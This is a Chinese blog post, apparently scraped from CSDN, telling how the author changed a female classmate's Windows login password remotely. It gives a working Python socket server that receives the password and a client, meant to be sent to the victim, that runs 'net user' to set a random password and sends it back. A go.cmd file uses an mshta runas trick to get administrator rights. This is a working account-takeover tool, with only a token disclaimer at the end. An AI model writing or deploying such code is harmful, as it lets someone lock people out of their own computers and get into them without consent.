我用Python修改了班花的开机密码，重新登录后竟然发现了她的秘密！

作者&＃xff1a;五包辣条&＃xff01;

https://blog.csdn.net/AI19970205/article/details/117417156

班花加我说她电话坏了让我看看&＃xff0c;那肯定义不容辞&＃xff01;【兴奋了半个小时】没别的我就想秀一下技术&＃xff01;五分钟后我修好了&＃xff0c;电脑重启之后显示输入密码&＃xff0c;当时没多想直接走了。回去之后我能不能用技术远程解析一下这个开机密码呢&＃xff0c;说干就干。

开发环境&＃xff1a;win10、python3.7
开发工具&＃xff1a;pycharm

一想到远程&＃xff0c;就想到创建连接&＃xff0c;一想到创建链接&＃xff0c;就想到socket套接字&＃xff08;一想到套接字&＃xff0c;就联想到我没有女朋&＃xff09;

该项目代码为3份&＃xff08;记住自己拿的是服务端的代码&＃xff0c;客服端代码和go.cmd是发给别人的&＃xff09;

首先正常流程创建服务端的服务
服务端流程&＃xff1a;

• 创建套接字
  -绑定ip和端口
  -设置监听
  -等待链接
  -接受数据打印数据
  -关闭链接

    import socket  # 导入socketserver &＃61; socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 创建socketserver.bind((&＃39;192.168.246.1&＃39;, 44444))  # 绑定IP/端口server.listen(5)  # 监听print(&＃39;***********等待连接*********&＃39;)conn, addr &＃61; server.accept()  # 连接print(conn) print(&＃39;客户端的地址:&＃39;, addr)client_msg &＃61; conn.recv(1024)print(&＃39;客户端修改的密码是: %s&＃39; % client_msg)conn.close()server.close()


windows的修改电脑密码的命令&＃xff1a;net User 用户名 修改的密码(可以自己动手试一下)

客户端流程&＃xff1a;

• 创建套接字
  -连接服务端的IP和端口
  -获取当前使用的电脑账户名
  -生成随机的电脑密码
  -在终端执行修改Windows密码的指令
  -发送修改之后的密码
  -关闭套接字

    import socket  # 导入用到的模块import getpassimport subprocessimport randomclient &＃61; socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 创建socket实例client.connect((ip, 端口))  # 连接server端IP地址/端口按你自己实际情况来user &＃61; getpass.getuser()  # 获取计算机用户名print(user)psd &＃61; &＃39;&＃39;for j in range(1, 9): # 生成1-9的随机数m &＃61; str(random.randrange(0, 10))psd &＃61; psd &＃43; msubprocess.Popen([&＃39;net&＃39;, &＃39;User&＃39;, user, psd])  # 在本地执行&＃xff08;类似于cmd命令&＃xff09;client.send(psd.encode(&＃39;utf-8&＃39;))  # 将密码发送给server端back_msg &＃61; client.recv(1024)client.close()  # 关闭socket


到这一步基本就可以自己去尝试了&＃xff0c;但是要注意&＃xff0c;当前代码只能修改权限是admin的账户。

• 还在翻呢&＃xff01;&＃xff01;&＃xff01;&＃xff01;&＃xff01;&＃xff01;&＃xff01;&＃xff01;
  *
  *
  *
  *
  *
  *
  *
  *
  *
  *
  *
  *
  *
  *
  *
  *
  *
  *
  *
  *
  *
  *
  *
  *
  *
  *
  下面会有怎么修改非admin的内容嘛&＃xff1f;&＃xff1f;&＃xff1f;&＃xff1f;&＃xff1f;&＃xff1f;
  *
  *
  *
  *
  *
  *
  *
  *
  *
  *
  *
  *
  *
  *
  *
  *
  *

非admin用户需要提高自己的执行权限
直接使用超级管理员权限执行cmd文件
go.cmd

    &＃64;echo off%1 mshta Vbscript:CreateObject("Shell.Application").ShellExecute("cmd.exe","/c %~s0 ::","","runas",1)(window.close)&&exitcd /d "%~dp0"start python client.py
小结

最后我修改密码成功登陆&＃xff0c;竟然发现了她的密码&＃xff01;

这铁憨憨C盘满了都不知道清理&＃xff0c;一看就是不太懂电脑的亚子&＃xff01;班花那么好看竟然不太懂电脑&＃xff0c;真是惊人的发现哩&＃xff01;

PS&＃xff1a;最后我啥都没动改回去了&＃xff01;仅供学习技术交流&＃xff01;切勿违法违纪&＃xff01;本人不承担一切后果&＃xff01;